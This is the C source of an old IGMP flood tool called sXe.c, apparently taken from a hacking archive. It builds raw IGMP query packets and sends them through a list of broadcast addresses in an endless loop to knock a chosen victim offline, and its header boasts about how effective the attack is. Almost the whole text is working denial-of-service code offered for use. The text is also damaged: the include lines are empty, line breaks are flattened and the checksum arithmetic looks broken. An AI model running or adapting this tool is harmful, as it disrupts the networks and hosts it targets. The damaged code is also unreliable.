/* * - Program: sXe.c * - Purpose: IGMP DoS * - Author: lore * - Compile: cc -o sXe sXe.c * - Date: 15/8/99 * - Usage: ./sXe -h * * - If you can figure out how to use this, you can create quite an * effective attack from even a 14kbs modem. * */ #define __BSD_SOURCE /* Header files */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include __BEGIN_DECLS /* Definitions */ #ifndef IGMP_ALL_HOSTS #define IGMP_ALL_HOSTS (htonl(0xE0000001L)) #endif #define TRUE (0x1) #define FALSE (0x0) #define ERR (0xffffffff) #define IP_SIZE (sizeof(struct ip)) #define IGMP_SIZE (sizeof(struct igmp)) #define TOTAL_SIZE (IP_SIZE + IGMP_SIZE) #define IP_OFF (0) #define IGMP_OFF (IP_SIZE) #define MAX_BROADCASTS 100 /* Data-types */ struct broadcast_ele { u_long ipaddr; }; typedef int sock_t; /* Global variables */ FILE * stream = stderr; int count = ERR; sock_t raw_sock; struct broadcast_ele bc_table[MAX_BROADCASTS]; char * packet_buf; char * yes = "1"; /* Prototypes */ int main __P ((int, char * *)); void usage __P ((char *)); void ctrlc __P ((int)); void die __P ((int)); size_t send_igmp_packet __P ((u_long, u_long, u_char, u_char)); char * strip __P ((u_long)); u_long res __P ((char *)); u_short generate_checksum __P ((u_short *, int)); __END_DECLS /* Functions */ int main (int argc, char * * argv) { FILE * fptr; u_int pos = 0; u_char type = 0; u_char code = 0; u_long victim = ERR; u_char * ptr = *argv; u_char * fname = NULL; ++argv; --argc; while (argv && *argv) { if ( (*(*(argv))) == '-' ) { switch ( *(*(argv) + 1) ) { case ('n'): { if ( !(*(argv + 1)) || ((count = atoi(*(argv + 1))) <= 0) ) { usage (ptr); } ++argv; break; } case ('t'): { if ( !(*(argv + 1)) || ((type = atoi(*(argv + 1))) <= 0) ) { usage (ptr); } ++argv; break; } case ('c'): { if ( !(*(argv + 1)) || ((code = atoi(*(argv + 1))) <= 0) ) { usage (ptr); } ++argv; break; } default: usage (ptr); } } else if (victim == ERR) { if ((victim = res(*(argv))) == ERR) { fprintf(stderr, "> Bad victim: %s\n", *argv); exit(EXIT_FAILURE); } } else if (!fname) { fname = (*(argv)); } else usage (ptr); ++argv; } if (victim == ERR || !fname) { usage(ptr); } if (!(packet_buf = (char *)malloc(TOTAL_SIZE))) { fprintf(stream, "> Ran out of memory\n"); exit(EXIT_FAILURE); } for (pos = 0; pos < MAX_BROADCASTS; ++pos) { ((*(bc_table + pos)).ipaddr) = 0; } pos = 0; if (!(fptr = fopen(fname, "r"))) { fprintf(stream, "> Couldn't open %s: %s\n", fname, strerror(errno)); exit(EXIT_FAILURE); } while ( (!feof(fptr)) && (pos < MAX_BROADCASTS) ) { u_long ipaddr; memset(packet_buf, 0, TOTAL_SIZE); fgets(packet_buf, TOTAL_SIZE, fptr); if ( (!*packet_buf) || (*packet_buf == '#') ) continue; else if ((ipaddr = inet_addr(packet_buf)) <= 0) { fprintf(stream, "> Invalid IP: %s\n", packet_buf); } else { ((*(bc_table + pos)).ipaddr) = ipaddr; ++pos; } } if (!pos) { fprintf(stream, "> Loaded no broadcasts\n"); exit(EXIT_SUCCESS); } if ((raw_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == ERR) { fprintf(stream, "> Raw socket could not be created: %s\n", strerror(errno)); exit(EXIT_FAILURE); } else if ( (setsockopt(raw_sock, IPPROTO_IP, IP_HDRINCL, (char *)&yes, sizeof(yes)) == ERR) || (setsockopt(raw_sock, SOL_SOCKET, SO_BROADCAST, (char *)&yes, sizeof(yes)) == ERR) ) { fprintf(stream, "> Could not set socket opts: %s\n", strerror(errno)); exit(EXIT_FAILURE); } fprintf(stream, "> sXe.c IGMP attack\n"); fprintf(stream, "> victim: %s\n", strip(victim)); if (count == ERR) fprintf(stream, "> count: Infinite\n"); else fprintf(stream, "> count: %d\n", count); fprintf(stream, "> type: %d\n", (!type) ? IGMP_HOST_MEMBERSHIP_QUERY : type); fprintf(stream, "> code: %d\n", code); signal(SIGINT, ctrlc); fprintf(stream, "> Hit Ctrl-C to abort\n"); pos = 0; while (count) { if ( (pos == MAX_BROADCASTS) || ((*(bc_table + pos)).ipaddr) == 0) { pos = 0; continue; } if ( send_igmp_packet(victim, (*(bc_table + pos)).ipaddr, type, code) == ERR ) { fprintf(stream, "> send_igmp_packet() failed: %s\n", strerror(errno)); die(EXIT_FAILURE); } if (count != ERR) --count; ++pos; } die(EXIT_SUCCESS); } void usage (char * pname) { fprintf(stream, "Usage: %s [ -n ] [ -t ]" " [ -c ]\n", pname); exit(EXIT_SUCCESS); } void ctrlc (int useless) { die (EXIT_SUCCESS); } void die (int code) { fprintf(stream, "> Flood ended\n"); shutdown(raw_sock, 2); free(packet_buf); exit(code); } size_t send_igmp_packet (u_long from, u_long to, u_char type, u_char code) { int ret; struct ip * ip_ptr = (struct ip *)(packet_buf + IP_OFF); struct igmp * igmp_ptr = (struct igmp *)(packet_buf + IGMP_OFF); struct sockaddr_in sa; sa.sin_port = htons(0); sa.sin_addr.s_addr = to; sa.sin_family = AF_INET; memset(packet_buf, 0, TOTAL_SIZE); ip_ptr->ip_hl = 5; ip_ptr->ip_v = 4; ip_ptr->ip_tos = 0; ip_ptr->ip_len = TOTAL_SIZE; ip_ptr->ip_id = 0; ip_ptr->ip_off = 0; ip_ptr->ip_ttl = 255; ip_ptr->ip_p = IPPROTO_IGMP; ip_ptr->ip_sum = generate_checksum((u_short *)ip_ptr, IP_SIZE); /* ip_ptr->ip_src.s_addr = from; */ ip_ptr->ip_src.s_addr = INADDR_ANY; ip_ptr->ip_dst.s_addr = to; igmp_ptr->igmp_type = (!type) ? IGMP_HOST_MEMBERSHIP_QUERY : type; igmp_ptr->igmp_code = code; igmp_ptr->igmp_cksum = generate_checksum((u_short *)igmp_ptr, IGMP_SIZE); igmp_ptr->igmp_group.s_addr = IGMP_ALL_HOSTS; ret = sendto(raw_sock, packet_buf, TOTAL_SIZE, 0, (struct sockaddr *)&sa, sizeof(sa)); return (ret); } char * strip (u_long ipaddr) { struct in_addr addr; addr.s_addr = ipaddr; return (inet_ntoa(addr)); } u_long res (char * host) { u_long ipaddr; struct hostent * hp; if ((ipaddr = inet_addr(host)) == ERR) { if (!(hp = gethostbyname(host))) return (FALSE); memcpy(&ipaddr, hp->h_addr, hp->h_length); } return (ipaddr); } /* Not my code */ u_short generate_checksum (u_short *addr, int len) { register int nleft = len; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *addr++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)addr; sum += answer; } sum = (sum >> 16) + (sum + 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } /* www.hack.co.za [2000]*/